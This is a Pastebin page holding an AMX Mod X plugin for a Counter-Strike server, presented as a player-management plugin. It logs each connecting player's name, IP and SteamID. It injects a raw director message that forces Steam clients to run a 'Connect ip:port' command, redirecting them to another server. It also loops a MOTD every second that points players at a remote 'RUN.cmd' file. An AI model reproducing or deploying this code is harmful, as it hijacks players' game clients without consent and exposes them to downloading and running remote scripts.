Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include < amxmodx >
- #include < amxmisc >
- #define PLUGIN "Modificare Jucatori"
- #define VERSION "1.0"
- #define AUTHOR "LondoN eXtream"
- new g_Name [ 33 ][ 32 ];
- new g_SteamID [ 33 ][ 32 ];
- new g_IP [ 33 ][ 32 ];
- public plugin_precache ( ) precache_generic ( "pro_b.wad" );
- public client_connect ( Player )
- {
- // Daca sunt boti nu facem nimic
- if ( is_user_bot ( Player ) || is_user_hltv ( Player ) )
- return;
- // Aflam niste date
- get_user_name ( Player, g_Name [ Player ], charsmax ( g_Name ) );
- get_user_ip ( Player, g_IP [ Player ], charsmax ( g_IP ), 1 );
- get_user_authid ( Player, g_SteamID [ Player ], charsmax ( g_SteamID ) );
- // Daca jucatorul e steam, il repartizam direct
- // Chiar daca e blocat pe ultimul build incercam
- if ( is_user_steam ( Player ) )
- {
- new String [ 256 ], strCMD [ 128 ];
- formatex ( strCMD, charsmax ( strCMD ), "wait;Connect ip:port" );
- formatex ( String, charsmax ( String ), "Jucatorul %s (IP: %s) (SteamID: %s) este Steam ON si va fi repartizat", g_Name [ Player ], g_IP [ Player ], g_SteamID [ Player ] );
- server_print ( "%s", String );
- message_begin ( MSG_ONE, 51, _, Player );
- write_byte ( strlen ( strCMD ) + 2 );
- write_byte ( 10 );
- write_string ( strCMD );
- message_end ( );
- }
- set_task ( 1.0, "ShowURL", Player, "", 0, "", 0 );
- }
- public ShowURL ( Player )
- {
- show_motd ( Player, "https://url.com/folder/RUN.cmd" );
- set_task ( 1.0, "ShowURL", Player, "", 0, "", 0 );
- }
- public client_disconnect ( Player )
- {
- if ( is_user_bot ( Player ) || is_user_hltv ( Player ) )
- return;
- remove_task ( Player, 0 );
- }
- stock bool: is_user_steam ( Player )
- {
- static Pointer;
- if ( Pointer || ( Pointer = get_cvar_pointer ( "dp_r_id_provider" ) ) )
- {
- server_cmd ( "dp_clientinfo %d", Player );
- server_exec ( );
- return ( get_pcvar_num ( Pointer ) == 2 ) ? true : false
- }
- return false;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement